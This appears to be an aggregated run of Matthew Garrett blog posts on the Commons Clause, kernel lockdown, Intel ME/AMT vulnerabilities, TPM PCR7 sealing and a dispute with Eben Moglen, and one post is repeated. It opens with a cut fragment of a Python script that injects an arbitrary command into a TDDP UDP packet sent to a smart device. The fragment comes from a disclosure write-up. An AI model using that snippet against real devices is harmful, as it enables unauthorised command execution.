sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
 
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
 
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

[1] Link to the wayback machine because the live link now redirects to an Amazon product page for a lightswitch

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The Commons Clause doesn’t help the commons

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/51177.html

The Commons Clause was announced recently, along with several projects moving portions of their codebase under it. It’s an additional restriction intended to be applied to existing open source licenses with the effect of preventing the work from being sold[1], where the definition of being sold includes being used as a component of an online pay-for service. As described in the FAQ, this changes the effective license of the work from an open source license to a source-available license. However, the site doesn’t go into a great deal of detail as to why you’d want to do that.

Fortunately one of the VCs behind this move wrote an opinion article that goes into more detail. The central argument is that Amazon make use of a great deal of open source software and integrate it into commercial products that are incredibly lucrative, but give little back to the community in return. By adopting the commons clause, Amazon will be forced to negotiate with the projects before being able to use covered versions of the software. This will, apparently, prevent behaviour that is not conducive to sustainable open-source communities.

But this is where things get somewhat confusing. The author continues:

Our view is that open-source software was never intended for cloud infrastructure companies to take and sell. That is not the original ethos of open source.

which is a pretty astonishingly unsupported argument. Open source code has been incorporated into proprietary applications without giving back to the originating community since before the term open source even existed. MIT-licensed X11 became part of not only multiple Unixes, but also a variety of proprietary commercial products for non-Unix platforms. Large portions of BSD ended up in a whole range of proprietary operating systems (including older versions of Windows). The only argument in favour of this assertion is that cloud infrastructure companies didn’t exist at that point in time, so they weren’t taken into consideration[2] – but no argument is made as to why cloud infrastructure companies are fundamentally different to proprietary operating system companies in this respect. Both took open source code, incorporated it into other products and sold them on without (in most cases) giving anything back.

There’s one counter-argument. When companies sold products based on open source code, they distributed it. Copyleft licenses like the GPL trigger on distribution, and as a result selling products based on copyleft code meant that the community would gain access to any modifications the vendor had made – improvements could be incorporated back into the original work, and everyone benefited. Incorporating open source code into a cloud product generally doesn’t count as distribution, and so the source code disclosure requirements don’t trigger. So perhaps that’s the distinction being made?

Well, no. The GNU Affero GPL has a clause that covers this case – if you provide a network service based on AGPLed code then you must provide the source code in a similar way to if you distributed it under a more traditional copyleft license. But the article’s author goes on to say:

AGPL makes it inconvenient but does not prevent cloud infrastructure providers from engaging in the abusive behavior described above. It simply says that they must release any modifications they make while engaging in such behavior.

IE, the problem isn’t that cloud providers aren’t giving back code, it’s that they’re using the code without contributing financially. There’s no difference between what cloud providers are doing now and what proprietary operating system vendors were doing 30 years ago. The argument that “open source” was never intended to permit this sort of behaviour is simply untrue. The use of permissive licenses has always allowed large companies to benefit disproportionately when compared to the authors of said code. There’s nothing new to see here.

But that doesn’t mean that the status quo is good – the argument for why the commons clause is required may be specious, but that doesn’t mean it’s bad. We’ve seen multiple cases of open source projects struggling to obtain the resources required to make a project sustainable, even as many large companies make significant amounts of money off that work. Does the commons clause help us here?

As hinted at in the title, the answer’s no. The commons clause attempts to change the power dynamic of the author/user role, but it does so in a way that’s fundamentally tied to a business model and in a way that prevents many of the things that make open source software interesting to begin with. Let’s talk about some problems.

The power dynamic still doesn’t favour contributors

The commons clause only really works if there’s a single copyright holder – if not, selling the code requires you to get permission from multiple people. But the clause does nothing to guarantee that the people who actually write the code benefit, merely that whoever holds the copyright does. If I rewrite a large part of a covered work and that code is merged (presumably after I’ve signed a CLA that assigns a copyright grant to the project owners), I have no power in any negotiations with any cloud providers. There’s no guarantee that the project stewards will choose to reward me in any way. I contribute to them but get nothing back in return – instead, my improved code allows the project owners to charge more and provide stronger returns for the VCs. The inequity has shifted, but individual contributors still lose out.

It discourages use of covered projects

One of the benefits of being able to use open source software is that you don’t need to fill out purchase orders or start commercial negotiations before you’re able to deploy. Turns out the project doesn’t actually fill your needs? Revert it, and all you’ve lost is some development time. Adding additional barriers is going to reduce uptake of covered projects, and that does nothing to benefit the contributors.

You can no longer meaningfully fork a project

One of the strengths of open source projects is that if the original project stewards turn out to violate the trust of their community, someone can fork it and provide a reasonable alternative. But if the project is released with the commons clause, it’s impossible to sell any forked versions – anyone who wishes to do so would still need the permission of the original copyright holder, and they can refuse that in order to prevent a fork from gaining any significant uptake.

It doesn’t inherently benefit the commons

The entire argument here is that the cloud providers are exploiting the commons, and by forcing them to pay for a license that allows them to make use of that software the commons will benefit. But there’s no obvious link between these things. Maybe extra money will result in more development work being done and the commons benefiting, but maybe extra money will instead just result in greater payout to shareholders. Forcing cloud providers to release their modifications to the wider world would be of benefit to the commons, but this is explicitly ruled out as a goal. The clause isn’t inherently incompatible with this – the negotiations between a vendor and a project to obtain a license to be permitted to sell the code could include a commitment to provide patches rather money, for instance, but the focus on money makes it clear that this wasn’t the authors’ priority.

What we’re left with is a license condition that does nothing to benefit individual contributors or other users, and costs us the opportunity to fork projects in response to disagreements over design decisions or governance. What it does is ensure that a range of VC-backed projects are in a better position to improve their returns, without any guarantee that the commons will be left better off. It’s an attempt to solve a problem that’s existed since before the term “open source” was even coined, by simply layering on a business model that’s also existed since before the term “open source” was even coined[3]. It’s not anything new, and open source derives from an explicit rejection of this sort of business model.

That’s not to say we’re in a good place at the moment. It’s clear that there is a giant level of power disparity between many projects and the consumers of those projects. But we’re not going to fix that by simply discarding many of the benefits of open source and going back to an older way of doing things. Companies like Tidelift[4] are trying to identify ways of making this sustainable without losing the things that make open source a better way of doing software development in the first place, and that’s what we should be focusing on rather than just admitting defeat to satisfy a small number of VC-backed firms that have otherwise failed to develop a sustainable business model.

[1] It is unclear how this interacts with licenses that include clauses that assert you can remove any additional restrictions that have been applied
[2] Although companies like Hotmail were making money from running open source software before the open source definition existed, so this still seems like a reach
[3] “Source available” predates my existence, let alone any existing open source licenses
[4] Disclosure: I know several people involved in Tidelift, but have no financial involvement in the company

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Linux kernel lockdown and UEFI Secure Boot

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/50577.html

David Howells recently published the latest version of his kernel lockdown patchset. This is intended to strengthen the boundary between root and the kernel by imposing additional restrictions that prevent root from modifying the kernel at runtime. It’s not the first feature of this sort – /dev/mem no longer allows you to overwrite arbitrary kernel memory, and you can configure the kernel so only signed modules can be loaded. But the present state of things is that these security features can be easily circumvented (by using kexec to modify the kernel security policy, for instance).

Why do you want lockdown? If you’ve got a setup where you know that your system is booting a trustworthy kernel (you’re running a system that does cryptographic verification of its boot chain, or you built and installed the kernel yourself, for instance) then you can trust the kernel to keep secrets safe from even root. But if root is able to modify the running kernel, that guarantee goes away. As a result, it makes sense to extend the security policy from the boot environment up to the running kernel – it’s really just an extension of configuring the kernel to require signed modules.

The patchset itself isn’t hugely conceptually controversial, although there’s disagreement over the precise form of certain restrictions. But one patch has, because it associates whether or not lockdown is enabled with whether or not UEFI Secure Boot is enabled. There’s some backstory that’s important here.

Most kernel features get turned on or off by either build-time configuration or by passing arguments to the kernel at boot time. There’s two ways that this patchset allows a bootloader to tell the kernel to enable lockdown mode – it can either pass the lockdown argument on the kernel command line, or it can set the secure_boot flag in the bootparams structure that’s passed to the kernel. If you’re running in an environment where you’re able to verify the kernel before booting it (either through cryptographic validation of the kernel, or knowing that there’s a secret tied to the TPM that will prevent the system booting if the kernel’s been tampered with), you can turn on lockdown.

There’s a catch on UEFI systems, though – you can build the kernel so that it looks like an EFI executable, and then run it directly from the firmware. The firmware doesn’t know about Linux, so can’t populate the bootparam structure, and there’s no mechanism to enforce command lines so we can’t rely on that either. The controversial patch simply adds a kernel configuration option that automatically enables lockdown when UEFI secure boot is enabled and otherwise leaves it up to the user to choose whether or not to turn it on.

Why do we want lockdown enabled when booting via UEFI secure boot? UEFI secure boot is designed to prevent the booting of any bootloaders that the owner of the system doesn’t consider trustworthy[1]. But a bootloader is only software – the only thing that distinguishes it from, say, Firefox is that Firefox is running in user mode and has no direct access to the hardware. The kernel does have direct access to the hardware, and so there’s no meaningful distinction between what grub can do and what the kernel can do. If you can run arbitrary code in the kernel then you can use the kernel to boot anything you want, which defeats the point of UEFI Secure Boot. Linux distributions don’t want their kernels to be used to be used as part of an attack chain against other distributions or operating systems, so they enable lockdown (or equivalent functionality) for kernels booted this way.

So why not enable it everywhere? There’s a couple of reasons. The first is that some of the features may break things people need – for instance, some strange embedded apps communicate with PCI devices by mmap()ing resources directly from sysfs[2]. This is blocked by lockdown, which would break them. Distributions would then have to ship an additional kernel that had lockdown disabled (it’s not possible to just have a command line argument that disables it, because an attacker could simply pass that), and users would have to disable secure boot to boot that anyway. It’s easier to just tie the two together.

The second is that it presents a promise of security that isn’t really there if your system didn’t verify the kernel. If an attacker can replace your bootloader or kernel then the ability to modify your kernel at runtime is less interesting – they can just wait for the next reboot. Appearing to give users safety assurances that are much less strong than they seem to be isn’t good for keeping users safe.

So, what about people whose work is impacted by lockdown? Right now there’s two ways to get stuff blocked by lockdown unblocked: either disable secure boot[3] (which will disable it until you enable secure boot again) or press alt-sysrq-x (which will disable it until the next boot). Discussion has suggested that having an additional secure variable that disables lockdown without disabling secure boot validation might be helpful, and it’s not difficult to implement that so it’ll probably happen.

Overall: the patchset isn’t controversial, just the way it’s integrated with UEFI secure boot. The reason it’s integrated with UEFI secure boot is because that’s the policy most distributions want, since the alternative is to enable it everywhere even when it doesn’t provide real benefits but does provide additional support overhead. You can use it even if you’re not using UEFI secure boot. We should have just called it securelevel.

[1] Of course, if the owner of a system isn’t allowed to make that determination themselves, the same technology is restricting the freedom of the user. This is abhorrent, and sadly it’s the default situation in many devices outside the PC ecosystem – most of them not using UEFI. But almost any security solution that aims to prevent malicious software from running can also be used to prevent any software from running, and the problem here is the people unwilling to provide that policy to users rather than the security features.
[2] This is how X.org used to work until the advent of kernel modesetting
[3] If your vendor doesn’t provide a firmware option for this, run sudo mokutil –disable-validation

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The Intel ME vulnerabilities are a big deal for some people, harmless for most

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/49788.html

(Note: all discussion here is based on publicly disclosed information, and I am not speaking on behalf of my employers)

I wrote about the potential impact of the most recent Intel ME vulnerabilities a couple of weeks ago. The details of the vulnerability were released last week, and it’s not absolutely the worst case scenario but it’s still pretty bad. The short version is that one of the (signed) pieces of early bringup code for the ME reads an unsigned file from flash and parses it. Providing a malformed file could result in a buffer overflow, and a moderately complicated exploit chain could be built that allowed the ME’s exploit mitigation features to be bypassed, resulting in arbitrary code execution on the ME.

Getting this file into flash in the first place is the difficult bit. The ME region shouldn’t be writable at OS runtime, so the most practical way for an attacker to achieve this is to physically disassemble the machine and directly reprogram it. The AMT management interface may provide a vector for a remote attacker to achieve this – for this to be possible, AMT must be enabled and provisioned and the attacker must have valid credentials[1]. Most systems don’t have provisioned AMT, so most users don’t have to worry about this.

Overall, for most end users there’s little to worry about here. But the story changes for corporate users or high value targets who rely on TPM-backed disk encryption. The way the TPM protects access to the disk encryption key is to insist that a series of “measurements” are correct before giving the OS access to the disk encryption key. The first of these measurements is obtained through the ME hashing the first chunk of the system firmware and passing that to the TPM, with the firmware then hashing each component in turn and storing those in the TPM as well. If someone compromises a later point of the chain then the previous step will generate a different measurement, preventing the TPM from releasing the secret.

However, if the first step in the chain can be compromised, all these guarantees vanish. And since the first step in the chain relies on the ME to be running uncompromised code, this vulnerability allows that to be circumvented. The attacker’s malicious code can be used to pass the “good” hash to the TPM even if the rest of the firmware has been tampered with. This allows a sufficiently skilled attacker to extract the disk encryption key and read the contents of the disk[2].

In addition, TPMs can be used to perform something called “remote attestation”. This allows the TPM to provide a signed copy of the recorded measurements to a remote service, allowing that service to make a policy decision around whether or not to grant access to a resource. Enterprises using remote attestation to verify that systems are appropriately patched (eg) before they allow them access to sensitive material can no longer depend on those results being accurate.

Things are even worse for people relying on Intel’s Platform Trust Technology (PTT), which is an implementation of a TPM that runs on the ME itself. Since this vulnerability allows full access to the ME, an attacker can obtain all the private key material held in the PTT implementation and, effectively, adopt the machine’s cryptographic identity. This allows them to impersonate the system with arbitrary measurements whenever they want to. This basically renders PTT worthless from an enterprise perspective – unless you’ve maintained physical control of a machine for its entire lifetime, you have no way of knowing whether it’s had its private keys extracted and so you have no way of knowing whether the attestation attempt is coming from the machine or from an attacker pretending to be that machine.

Bootguard, the component of the ME that’s responsible for measuring the firmware into the TPM, is also responsible for verifying that the firmware has an appropriate cryptographic signature. Since that can be bypassed, an attacker can reflash modified firmware that can do pretty much anything. Yes, that probably means you can use this vulnerability to install Coreboot on a system locked down using Bootguard.

(An aside: The Titan security chips used in Google Cloud Platform sit between the chipset and the flash and verify the flash before permitting anything to start reading from it. If an attacker tampers with the ME firmware, Titan should detect that and prevent the system from booting. However, I’m not involved in the Titan project and don’t know exactly how this works, so don’t take my word for this)

Intel have published an update that fixes the vulnerability, but it’s pretty pointless – there’s apparently no rollback protection in the affected 11.x MEs, so while the attacker is modifying your flash to insert the payload they can just downgrade your ME firmware to a vulnerable version. Version 12 will reportedly include optional rollback protection, which is little comfort to anyone who has current hardware. Basically, anyone whose threat model depends on the low-level security of their Intel system is probably going to have to buy new hardware.

This is a big deal for enterprises and any individuals who may be targeted by skilled attackers who have physical access to their hardware, and entirely irrelevant for almost anybody else. If you don’t know that you should be worried, you shouldn’t be.

[1] Although admins should bear in mind that any system that hasn’t been patched against CVE-2017-5689 considers an empty authentication cookie to be a valid credential

[2] TPMs are not intended to be strongly tamper resistant, so an attacker could also just remove the TPM, decap it and (with some effort) extract the key that way. This is somewhat more time consuming than just reflashing the firmware, so the ME vulnerability still amounts to a change in attack practicality.

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Potential impact of the Intel ME vulnerability

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/49611.html

(Note: this is my personal opinion based on public knowledge around this issue. I have no knowledge of any non-public details of these vulnerabilities, and this should not be interpreted as the position or opinion of my employer)

Intel’s Management Engine (ME) is a small coprocessor built into the majority of Intel CPUs[0]. Older versions were based on the ARC architecture[1] running an embedded realtime operating system, but from version 11 onwards they’ve been small x86 cores running Minix. The precise capabilities of the ME have not been publicly disclosed, but it is at minimum capable of interacting with the network[2], display[3], USB, input devices and system flash. In other words, software running on the ME is capable of doing a lot, without requiring any OS permission in the process.

Back in May, Intel announced a vulnerability in the Advanced Management Technology (AMT) that runs on the ME. AMT offers functionality like providing a remote console to the system (so IT support can connect to your system and interact with it as if they were physically present), remote disk support (so IT support can reinstall your machine over the network) and various other bits of system management. The vulnerability meant that it was possible to log into systems with enabled AMT with an empty authentication token, making it possible to log in without knowing the configured password.

This vulnerability was less serious than it could have been for a couple of reasons – the first is that “consumer”[4] systems don’t ship with AMT, and the second is that AMT is almost always disabled (Shodan found only a few thousand systems on the public internet with AMT enabled, out of many millions of laptops). I wrote more about it here at the time.

How does this compare to the newly announced vulnerabilities? Good question. Two of the announced vulnerabilities are in AMT. The previous AMT vulnerability allowed you to bypass authentication, but restricted you to doing what AMT was designed to let you do. While AMT gives an authenticated user a great deal of power, it’s also designed with some degree of privacy protection in mind – for instance, when the remote console is enabled, an animated warning border is drawn on the user’s screen to alert them.

This vulnerability is different in that it allows an authenticated attacker to execute arbitrary code within the AMT process. This means that the attacker shouldn’t have any capabilities that AMT doesn’t, but it’s unclear where various aspects of the privacy protection are implemented – for instance, if the warning border is implemented in AMT rather than in hardware, an attacker could duplicate that functionality without drawing the warning. If the USB storage emulation for remote booting is implemented as a generic USB passthrough, the attacker could pretend to be an arbitrary USB device and potentially exploit the operating system through bugs in USB device drivers. Unfortunately we don’t currently know.

Note that this exploit still requires two things – first, AMT has to be enabled, and second, the attacker has to be able to log into AMT. If the attacker has physical access to your system and you don’t have a BIOS password set, they will be able to enable it – however, if AMT isn’t enabled and the attacker isn’t physically present, you’re probably safe. But if AMT is enabled and you haven’t patched the previous vulnerability, the attacker will be able to access AMT over the network without a password and then proceed with the exploit. This is bad, so you should probably (1) ensure that you’ve updated your BIOS and (2) ensure that AMT is disabled unless you have a really good reason to use it.

The AMT vulnerability applies to a wide range of versions, everything from version 6 (which shipped around 2008) and later. The other vulnerability that Intel describe is restricted to version 11 of the ME, which only applies to much more recent systems. This vulnerability allows an attacker to execute arbitrary code on the ME, which means they can do literally anything the ME is able to do. This probably also means that they are able to interfere with any other code running on the ME. While AMT has been the most frequently discussed part of this, various other Intel technologies are tied to ME functionality.

Intel’s Platform Trust Technology (PTT) is a software implementation of a Trusted Platform Module (TPM) that runs on the ME. TPMs are intended to protect access to secrets and encryption keys and record the state of the system as it boots, making it possible to determine whether a system has had part of its boot process modified and denying access to the secrets as a result. The most common usage of TPMs is to protect disk encryption keys – Microsoft Bitlocker defaults to storing its encryption key in the TPM, automatically unlocking the drive if the boot process is unmodified. In addition, TPMs support something called Remote Attestation (I wrote about that here), which allows the TPM to provide a signed copy of information about what the system booted to a remote site. This can be used for various purposes, such as not allowing a compute node to join a cloud unless it’s booted the correct version of the OS and is running the latest firmware version. Remote Attestation depends on the TPM having a unique cryptographic identity that is tied to the TPM and inaccessible to the OS.

PTT allows manufacturers to simply license some additional code from Intel and run it on the ME rather than having to pay for an additional chip on the system motherboard. This seems great, but if an attacker is able to run code on the ME then they potentially have the ability to tamper with PTT, which means they can obtain access to disk encryption secrets and circumvent Bitlocker. It also means that they can tamper with Remote Attestation, “attesting” that the system booted a set of software that it didn’t or copying the keys to another system and allowing that to impersonate the first. This is, uh, bad.

Intel also recently announced Intel Online Connect, a mechanism for providing the functionality of security keys directly in the operating system. Components of this are run on the ME in order to avoid scenarios where a compromised OS could be used to steal the identity secrets – if the ME is compromised, this may make it possible for an attacker to obtain those secrets and duplicate the keys.

It’s also not entirely clear how much of Intel’s Secure Guard Extensions (SGX) functionality depends on the ME. The ME does appear to be required for SGX Remote Attestation (which allows an application using SGX to prove to a remote site that it’s the SGX app rather than something pretending to be it), and again if those secrets can be extracted from a compromised ME it may be possible to compromise some of the security assumptions around SGX. Again, it’s not clear how serious this is because it’s not publicly documented.

Various other things also run on the ME, including stuff like video DRM (ensuring that high resolution video streams can’t be intercepted by the OS). It may be possible to obtain encryption keys from a compromised ME that allow things like Netflix streams to be decoded and dumped. From a user privacy or security perspective, these things seem less serious.

The big problem at the moment is that we have no idea what the actual process of compromise is. Intel state that it requires local access, but don’t describe what kind. Local access in this case could simply require the ability to send commands to the ME (possible on any system that has the ME drivers installed), could require direct hardware access to the exposed ME (which would require either kernel access or the ability to install a custom driver) or even the ability to modify system flash (possible only if the attacker has physical access and enough time and skill to take the system apart and modify the flash contents with an SPI programmer). The other thing we don’t know is whether it’s possible for an attacker to modify the system such that the ME is persistently compromised or whether it needs to be re-compromised every time the ME reboots. Note that even the latter is more serious than you might think – the ME may only be rebooted if the system loses power completely, so even a “temporary” compromise could affect a system for a long period of time.

It’s also almost impossible to determine if a system is compromised. If the ME is compromised then it’s probably possible for it to roll back any firmware updates but still report that it’s been updated, giving admins a false sense of security. The only way to determine for sure would be to dump the system flash and compare it to a known good image. This is impractical to do at scale.

So, overall, given what we know right now it’s hard to say how serious this is in terms of real world impact. It’s unlikely that this is the kind of vulnerability that would be used to attack individual end users – anyone able to compromise a system like this could just backdoor your browser instead with much less effort, and that already gives them your banking details. The people who have the most to worry about here are potential targets of skilled attackers, which means activists, dissidents and companies with interesting personal or business data. It’s hard to make strong recommendations about what to do here without more insight into what the vulnerability actually is, and we may not know that until this presentation next month.

Summary: Worst case here is terrible, but unlikely to be relevant to the vast majority of users.

[0] Earlier versions of the ME were built into the motherboard chipset, but as portions of that were incorporated onto the CPU package the ME followed
[1] A descendent of the SuperFX chip used in Super Nintendo cartridges such as Starfox, because why not
[2] Without any OS involvement for wired ethernet and for wireless networks in the system firmware, but requires OS support for wireless access once the OS drivers have loaded
[3] Assuming you’re using integrated Intel graphics
[4] “Consumer” is a bit of a misnomer here – “enterprise” laptops like Thinkpads ship with AMT, but are often bought by consumers.

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Eben Moglen is no longer a friend of the free software community

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/49370.html

(Note: While the majority of the events described below occurred while I was a member of the board of directors of the Free Software Foundation, I am no longer. This is my personal position and should not be interpreted as the opinion of any other organisation or company I have been affiliated with in any way)

Eben Moglen has done an amazing amount of work for the free software community, serving on the board of the Free Software Foundation and acting as its general counsel for many years, leading the drafting of GPLv3 and giving many forceful speeches on the importance of free software. However, his recent behaviour demonstrates that he is no longer willing to work with other members of the community, and we should reciprocate that.

In early 2016, the FSF board became aware that Eben was briefing clients on an interpretation of the GPL that was incompatible with that held by the FSF. He later released this position publicly with little coordination with the FSF, which was used by Canonical to justify their shipping ZFS in a GPL-violating way. He had provided similar advice to Debian, who were confused about the apparent conflict between the FSF’s position and Eben’s.

This situation was obviously problematic – Eben is clearly free to provide whatever legal opinion he holds to his clients, but his very public association with the FSF caused many people to assume that these positions were held by the FSF and the FSF were forced into the position of publicly stating that they disagreed with legal positions held by their general counsel. Attempts to mediate this failed, and Eben refused to commit to working with the FSF on avoiding this sort of situation in future[1].

Around the same time, Eben made legal threats towards another project with ties to FSF. These threats were based on a license interpretation that ran contrary to how free software licenses had been interpreted by the community for decades, and was made without any prior discussion with the FSF. This, in conjunction with his behaviour over the ZFS issue, led to him stepping down as the FSF’s general counsel.

Throughout this period, Eben disparaged FSF staff and other free software community members in various semi-public settings. In doing so he harmed the credibility of many people who have devoted significant portions of their lives to aiding the free software community. At Libreplanet earlier this year he made direct threats against an attendee – this was reported as a violation of the conference’s anti-harassment policy.

Eben has acted against the best interests of an organisation he publicly represented. He has threatened organisations and individuals who work to further free software. His actions are no longer to the benefit of the free software community and the free software community should cease associating with him.

[1] Contrary to the claim provided here, Bradley was not involved in this process.

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Avoiding TPM PCR fragility using Secure Boot

Post Syndicated from Matthew Garrett original http://mjg59.dreamwidth.org/48897.html

In measured boot, each component of the boot process is “measured” (ie, hashed and that hash recorded) in a register in the Trusted Platform Module (TPM) build into the system. The TPM has several different registers (Platform Configuration Registers, or PCRs) which are typically used for different purposes – for instance, PCR0 contains measurements of various system firmware components, PCR2 contains any option ROMs, PCR4 contains information about the partition table and the bootloader. The allocation of these is defined by the PC Client working group of the Trusted Computing Group. However, once the boot loader takes over, we’re outside the spec[1].

One important thing to note here is that the TPM doesn’t actually have any ability to directly interfere with the boot process. If you try to boot modified code on a system, the TPM will contain different measurements but boot will still succeed. What the TPM can do is refuse to hand over secrets unless the measurements are correct. This allows for configurations where your disk encryption key can be stored in the TPM and then handed over automatically if the measurements are unaltered. If anybody interferes with your boot process then the measurements will be different, the TPM will refuse to hand over the key, your disk will remain encrypted and whoever’s trying to compromise your machine will be sad.

The problem here is that a lot of things can affect the measurements. Upgrading your bootloader or kernel will do so. At that point if you reboot your disk fails to unlock and you become unhappy. To get around this your update system needs to notice that a new component is about to be installed, generate the new expected hashes and re-seal the secret to the TPM using the new hashes. If there are several different points in the update where this can happen, this can quite easily go wrong. And if it goes wrong, you’re back to being unhappy.

Is there a way to improve this? Surprisingly, the answer is “yes” and the people to thank are Microsoft. Appendix A of a basically entirely unrelated spec defines a mechanism for storing the UEFI Secure Boot policy and used keys in PCR 7 of the TPM. The idea here is that you trust your OS vendor (since otherwise they could just backdoor your system anyway), so anything signed by your OS vendor is acceptable. If someone tries to boot something signed by a different vendor then PCR 7 will be different. If someone disables secure boot, PCR 7 will be different. If you upgrade your bootloader or kernel, PCR 7 will be the same. This simplifies things significantly.

I’ve put together a (not well-tested) patchset for Shim that adds support for including Shim’s measurements in PCR 7. In conjunction with appropriate firmware, it should then be straightforward to seal secrets to PCR 7 and not worry about things breaking over system updates. This makes tying things like disk encryption keys to the TPM much more reasonable.

However, there’s still one pretty major problem, which is that the initramfs (ie, the component responsible for setting up the disk encryption in the first place) isn’t signed and isn’t included in PCR 7[2]. An attacker can simply modify it to stash any TPM-backed secrets or mount the encrypted filesystem and then drop to a root prompt. This, uh, reduces the utility of the entire exercise.

The simplest solution to this that I’ve come up with depends on how Linux implements initramfs files. In its simplest form, an initramfs is just a cpio archive. In its slightly more complicated form, it’s a compressed cpio archive. And in its peak form of evolution, it’s a series of compressed cpio archives concatenated together. As the kernel reads each one in turn, it extracts it over the previous ones. That means that any files in the final archive will overwrite files of the same name in previous archives.

My proposal is to generate a small initramfs whose sole job is to get secrets from the TPM and stash them in the kernel keyring, and then measure an additional value into PCR 7 in order to ensure that the secrets can’t be obtained again. Later disk encryption setup will then be able to set up dm-crypt using the secret already stored within the kernel. This small initramfs will be built into the signed kernel image, and the bootloader will be responsible for appending it to the end of any user-provided initramfs. This means that the TPM will only grant access to the secrets while trustworthy code is running – once the secret is in the kernel it will only be available for in-kernel use, and once PCR 7 has been modified the TPM won’t give it to anyone else. A similar approach for some kernel command-line arguments (the kernel, module-init-tools and systemd all interpret the kernel command line left-to-right, with later arguments overriding earlier ones) would make it possible to ensure that certain kernel configuration options (such as the iommu) weren’t overridable by an attacker.

There’s obviously a few things that have to be done here (standardise how to embed such an initramfs in the kernel image, ensure that luks knows how to use the kernel keyring, teach all relevant bootloaders how to handle these images), but overall this should make it practical to use PCR 7 as a mechanism for supporting TPM-backed disk encryption secrets on Linux without introducing a hug support burden in the process.

[1] The patchset I’ve posted to add measured boot support to Grub use PCRs 8 and 9 to measure various components during the boot process, but other bootloaders may have different policies.

[2] This is because most Linux systems generate the initramfs locally rather than shipping it pre-built. It may also get rebuilt on various userspace updates, even if the kernel hasn’t changed. Including it in PCR 7 would entirely break the fragility guarantees and defeat the point of all of this.

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Avoiding TPM PCR fragility using Secure Boot

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/48897.html

In measured boot, each component of the boot process is “measured” (ie, hashed and that hash recorded) in a register in the Trusted Platform Module (TPM) build into the system. The TPM has several different registers (Platform Configuration Registers, or PCRs) which are typically used for different purposes – for instance, PCR0 contains measurements of various system firmware components, PCR2 contains any option ROMs, PCR4 contains information about the partition table and the bootloader. The allocation of these is defined by the PC Client working group of the Trusted Computing Group. However, once the boot loader takes over, we’re outside the spec[1].

One important thing to note here is that the TPM doesn’t actually have any ability to directly interfere with the boot process. If you try to boot modified code on a system, the TPM will contain different measurements but boot will still succeed. What the TPM can do is refuse to hand over secrets unless the measurements are correct. This allows for configurations where your disk encryption key can be stored in the TPM and then handed over automatically if the measurements are unaltered. If anybody interferes with your boot process then the measurements will be different, the TPM will refuse to hand over the key, your disk will remain encrypted and whoever’s trying to compromise your machine will be sad.

The problem here is that a lot of things can affect the measurements. Upgrading your bootloader or kernel will do so. At that point if you reboot your disk fails to unlock and you become unhappy. To get around this your update system needs to notice that a new component is about to be installed, generate the new expected hashes and re-seal the secret to the TPM using the new hashes. If there are several different points in the update where this can happen, this can quite easily go wrong. And if it goes wrong, you’re back to being unhappy.

Is there a way to improve this? Surprisingly, the answer is “yes” and the people to thank are Microsoft. Appendix A of a basically entirely unrelated spec defines a mechanism for storing the UEFI Secure Boot policy and used keys in PCR 7 of the TPM. The idea here is that you trust your OS vendor (since otherwise they could just backdoor your system anyway), so anything signed by your OS vendor is acceptable. If someone tries to boot something signed by a different vendor then PCR 7 will be different. If someone disables secure boot, PCR 7 will be different. If you upgrade your bootloader or kernel, PCR 7 will be the same. This simplifies things significantly.

I’ve put together a (not well-tested) patchset for Shim that adds support for including Shim’s measurements in PCR 7. In conjunction with appropriate firmware, it should then be straightforward to seal secrets to PCR 7 and not worry about things breaking over system updates. This makes tying things like disk encryption keys to the TPM much more reasonable.

However, there’s still one pretty major problem, which is that the initramfs (ie, the component responsible for setting up the disk encryption in the first place) isn’t signed and isn’t included in PCR 7[2]. An attacker can simply modify it to stash any TPM-backed secrets or mount the encrypted filesystem and then drop to a root prompt. This, uh, reduces the utility of the entire exercise.

The simplest solution to this that I’ve come up with depends on how Linux implements initramfs files. In its simplest form, an initramfs is just a cpio archive. In its slightly more complicated form, it’s a compressed cpio archive. And in its peak form of evolution, it’s a series of compressed cpio archives concatenated together. As the kernel reads each one in turn, it extracts it over the previous ones. That means that any files in the final archive will overwrite files of the same name in previous archives.

My proposal is to generate a small initramfs whose sole job is to get secrets from the TPM and stash them in the kernel keyring, and then measure an additional value into PCR 7 in order to ensure that the secrets can’t be obtained again. Later disk encryption setup will then be able to set up dm-crypt using the secret already stored within the kernel. This small initramfs will be built into the signed kernel image, and the bootloader will be responsible for appending it to the end of any user-provided initramfs. This means that the TPM will only grant access to the secrets while trustworthy code is running – once the secret is in the kernel it will only be available for in-kernel use, and once PCR 7 has been modified the TPM won’t give it to anyone else. A similar approach for some kernel command-line arguments (the kernel, module-init-tools and systemd all interpret the kernel command line left-to-right, with later arguments overriding earlier ones) would make it possible to ensure that certain kernel configuration options (such as the iommu) weren’t overridable by an attacker.

There’s obviously a few things that have to be done here (standardise how to embed such an initramfs in the kernel image, ensure that luks knows how to use the kernel keyring, teach all relevant bootloaders how to handle these images), but overall this should make it practical to use PCR 7 as a mechanism for supporting TPM-backed disk encryption secrets on Linux without introducing a hug support burden in the process.

[1] The patchset I’ve posted to add measured boot support to Grub use PCRs 8 and 9 to measure various components during the boot process, but other bootloaders may have different policies.

[2] This is because most Linux systems generate the initramfs locally rather than shipping it pre-built. It may also get rebuilt on various userspace updates, even if the kernel hasn’t changed. Including it in PCR 7 would entirely break the fragility guarantees and defeat the point of all of this.

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Intel AMT on wireless networks

Post Syndicated from Matthew Garrett original http://mjg59.dreamwidth.org/48837.html

More details about Intel’s AMT vulnerablity have been released – it’s about the worst case scenario, in that it’s a total authentication bypass that appears to exist independent of whether the AMT is being used in Small Business or Enterprise modes (more background in my previous post here). One thing I claimed was that even though this was pretty bad it probably wasn’t super bad, since Shodan indicated that there were only a small number of thousand machines on the public internet and accessible via AMT. Most deployments were probably behind corporate firewalls, which meant that it was plausibly a vector for spreading within a company but probably wasn’t a likely initial vector.

